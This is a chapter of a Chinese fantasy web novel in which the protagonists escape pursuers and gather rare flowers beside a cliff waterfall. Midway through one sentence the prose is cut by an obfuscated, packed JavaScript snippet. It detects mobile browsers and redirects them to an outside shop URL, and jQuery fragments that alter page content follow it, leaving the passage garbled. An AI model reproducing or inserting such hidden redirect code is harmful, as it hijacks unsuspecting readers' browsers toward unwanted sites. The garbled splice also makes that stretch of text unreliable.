20.凝心

作品:《每天都想干掉伪天道

    “周管事,那丫头不见了,这是食盒碎片。”药王谷风吟分舵内,一名护卫对眼前的中年男人将食盒碎片呈上,恭敬道。


    周逸捏起一块食盒碎片,指尖摩挲着边缘整齐的裂痕,断面虽无灵力轰击的焦痕,却平滑异常。


    “不是意外”他眯起本就不大的眼睛,缓缓开口,“力道凝于一点,将食盒由内而外震断,此人对灵力的掌控相当精妙,是个麻烦。”


    “那丫头……”护卫一想到肖年那身蛮力便觉心有余悸。


    “肖年?”周掌事将碎片扔回桌上,冷哼一声,“一个脑子不清醒的傻子,被人当枪使了还不自知。”


    那护卫迟疑了一瞬,还是低声道:“可傻子……分得清哪些该说,哪些不该说么?万一她……”


    周掌事横了他一眼:“你在教我做事?”


    护卫背后瞬间冒出一层冷汗:“属下不敢!”


    “去找!”周掌事不再看他,端起茶杯轻轻啜饮一口,出口的话却令人更加胆寒,“掘地三尺,也要挖出她今晚见了什么人,说了什么话。活要见人,死……也要见尸。”


    ————


    “凝心花……”


    几乎在同一时间,江见初喃喃出声。


    “什么?”


    “我曾在古籍中见过此花记载,凝心花,瓣如心,色淡紫,生于绝壁灵泉之侧,月下自莹。”


    沈晏时沉吟两息,摇头道:“我未曾听闻此物,有何特别之处吗?”


    江见初道:“效如其名,可重凝心脉。”


    她接着道,“此花几乎绝迹,我一直将此视作传说,未曾想竟在此地遇到。”


    沈晏时眸光亮了又暗:“师姐的意思是,其中可能有诈?”


    江见初颔首,但眼神依旧坚定:“这是目前唯一的法子。”


    话音刚落,她轻取下肖年腰间的干花,清浅的灵力顺着花茎注入,花瓣上的紫光浓郁了一瞬后消散在东南方向,“东南方向百里内有活株,但无法辨明具体位置。”


    “她应该知道,不如……”


    “不可。”江见初打断沈晏时,“搜魂对灵识有损伤,短时间内切不可重复进行,此花时间已久,窥探越久远的记忆对她的伤害越大。”她斟酌了一下用词,再度开口,“且她……记忆有异,年少时的记忆被迷雾包裹,我看不真切。”


    “那叫醒她问问?”


    “嗯。”江见初一边答应,一边轻轻将肖年摇醒,“年年,醒醒。”


    “唔……仙女姐姐?我怎么睡着了?”肖年揉着眼睛醒来,甚至还打了个小哈欠。


    江见初不忍回答她的问题,只将那朵花递到她眼前,轻声问道:“你可还记得这花从何处得来的吗?”


    “知道呀!”肖年从江见初手中接过那朵小花仔细收好,抬手往东南方向一指。


    “在那边!”


    药王谷护卫的惊呼声响起,逐渐亮起的火把光芒如蜿蜒的游蛇般往他们这边赶。


    “那你记得路吗?能否带我们去?”江见初语气急切了几分。


    “能呀,我知道一条小路,很快就到!”


    “走!”


    沈晏时正欲去背陆知,肖年却是先他一步将人稳稳背起,转头对他粲然一笑:“让我来!平常厨房背猪肉都是我,我能一口气背三扇猪呢,他不过半扇重量。”


    ————


    前往坠星涧的近路是一条贴着悬崖蜿蜒向前的天然石缝。


    脚下是万丈深渊,头顶是遮天浓雾,只有几人身边跳跃的焰火散发着昏黄却温暖的光。


    雾气浓得粘稠,不仅遮挡视线,连灵力探查的距离都被压缩到周身三尺之内。


    石缝狭窄湿滑,一不注意便是粉身碎骨,沈晏时将朔明剑斜握手中在前方开路,江见初则殿后,唯有肖年背着陆知仍如履平地。


    感受到江见初虚扶在她身侧的手,肖年略微回头,“仙女姐姐,你别怕,这路我熟!”


    “小时候我偷偷从这儿跑出去,爹娘找不到我,可着急了。”


    她的声音在雾气和石壁间回荡,带着一种不谙世事的轻快。


    “你爹娘呢?”江见初轻声问。


    “不知道呀。”肖年语气里没什么难过,只有单纯的困惑,“他们外出采买,就再也没回来过,不知道是不是雾气太大,他们也迷路了。”


    她顿了顿,努力回忆不甚清晰的记忆:“后来我就自己在这儿啦,有果子,有泉水,还有好多漂亮的花,但光吃果子和泉水,我吃不饱……”


    江见初心头微涩,接着问道:“再后来呢?”


    “后来我太饿了,想找点吃的,就顺着这里跑出去……”她回头冲药王谷的方向努努嘴,“我在那边闻到可香的味道,没忍住翻墙进去吃了好多东西,不知怎么的就睡着了,醒来后王伯说我吃东西中了毒,是他们救了我,我就留下来报恩啦。”


    她说得理所当然,甚至还带着一丝感激。


    但江见初却是喉头一哽,心中酸涩感更重,药王谷三言两语便夺走了这个女孩全部的自由,甚至让她对试药都甘之如饴。


    这哪里是恩?


    “年年,”她轻声唤道,“你愿意离开药王谷吗?去别的地方,看更多的风景,吃更多的好吃的。”


    肖年脚步停了一瞬,转过头,圆圆的小脸上写满了惊讶:“离开?可王伯说,外面很危险,坏人很多,像我这样的……”她声音忽然小了很多,“傻子,出去会被骗得骨头都不剩。”


    前方的沈晏时心道,你现在也差不多了。


    “你不是傻子。”江见初伸手摘掉她头上的落叶,语气认真,“你认得路,有力气,你很聪明,只是……他们没认真教你别的。”


    肖年眨了眨眼,似乎在消化这句话。


    “而且,”沈晏时也停下脚步,插话道,“跟着我们,有好吃的哦!”


    这句话显然比任何大道理都管用,肖年眼睛一亮,用力点头:“那我愿意!仙女姐姐去哪,我就去哪!”


    谈话间,脚下石缝更加湿润,前方浓雾中隐约传来水声。


    “快到了!”肖年往前两大步,想越过沈晏时率先往前。


    穿过最后一段狭窄的通道,眼前空旷了不少,但视线却依旧被浓稠的白雾占据,水声震耳欲聋,却不见瀑布的踪影。


    这雾,似乎太过浓稠了。


    江见初环视了一圈,三面均是绝壁,只有正前方有十步宽的平台,再往前,便是峡谷,隐约可见其下浓雾如云海般翻涌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204540|195395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,左侧一道巨大的瀑布沿着石壁奔涌而下。


    原来所谓的坠星涧,便是这险要的峡谷,瀑布打在石壁上,在黑夜里反射出银白色的亮光,倒真有几分星辰坠落的感觉。


    “花呢?”沈晏时目光扫过四周石壁,除了湿滑的苔藓和嶙峋的怪石,什么也没有。


    肖年上前几步,站到峡谷边缘,指向瀑布侧面:“在下面!要下去一点才能看见。”


    江见初示意沈晏时看好肖年和陆知,自己则小心探身,凝出几缕游丝般的灵识,向下方的雾气和瀑布水幕中探去。


    浓雾和澎湃的水汽极大地干扰了感知,瀑布的轰鸣声也在不停地扰乱着心神,即便集中全部精神,探出去的灵识也如瀚海中的一叶孤舟。


    忽然,在水雾弥漫的瀑布下,一处被水流常年冲刷的岩壁凹陷处,感知到了一丝不同于别的纯净灵气。


    她朝着那个方向射出几道符篆,浓雾散开些许,三点微弱的淡紫色光华透出,犹如瀑布下镶嵌的三颗宝石。


    原来,这便是古籍中所说的“生于绝壁灵泉之侧”!


    这飞泻的瀑布,原来竟是一眼灵泉,也只有这种地方,才能孕育出如此奇珍。


    恐怕这整片坠星涧,也只有在这最得天独厚的一小片岩壁上,才能生长出这三朵。


    “找到了。”江见初收回神识,脸色凝重,“只有三朵,在瀑布旁,根茎极细,但几乎嵌在岩缝里。”


    沈晏时一个箭步冲到她身边,望着雾气下影影绰绰的三抹淡紫色幽光,欣喜瞬间被担忧取代:“这位置……下方瀑布乱流,若采摘时花茎断裂,或是力道稍有偏差,花掉下去……”


    江见初接过他的话茬:“便会瞬间被冲入深涧,几乎再无寻回来的可能。”


    他们冒死前来,陆知的性命、身后的追兵、背后的谜团……所有的希望都系于这三朵花上,容不得半点闪失。


    “有把握吗?”沈晏时忍不住再次开口。


    江见初不答,只尽力往悬崖边倾身,整个人重心逐渐移向悬崖之外。


    此处地势狭窄,没有御剑的可能,只能用灵力将花托上来。


    就在她身体前倾的刹那,一只温热的手忽然从侧后方探来,一把紧紧抓住了她的左手手腕。


    沈晏时甚至没意识到自己是什么时候冲过来的,等他反应过来时,自己已经单膝跪在了湿滑的悬崖边,右手死死攥着她的手腕。


    江见初没有回头,也没有挣脱,她将双指并拢,指尖凝聚出三道比发丝更细,却柔韧无比的灵力丝线,如同拥有生命般,穿透狂乱的水雾和气流,精准地缠绕在三朵凝心花最脆弱的根茎连接处。


    不能伤及花瓣分毫,也不能抓得太松。


    灵力丝线轻轻一旋,如同最灵巧的手,将三朵小花从岩缝中托起,温柔却有力地牵引着它们,稳稳地飞回江见初早已准备好的寒玉盒中。


    每一朵花都只有拇指大小,花瓣紧紧收拢,如同一颗颗微缩的紫色心脏。


    花瓣上沾着清澈的水珠,在玉盒中轻轻颤动。


    两人还没来得及松一口气,厉喝声伴随着数道破空之声,从他们来时的石缝方向炸响。


    “在那边!”


    “围住!别让他们跑了!”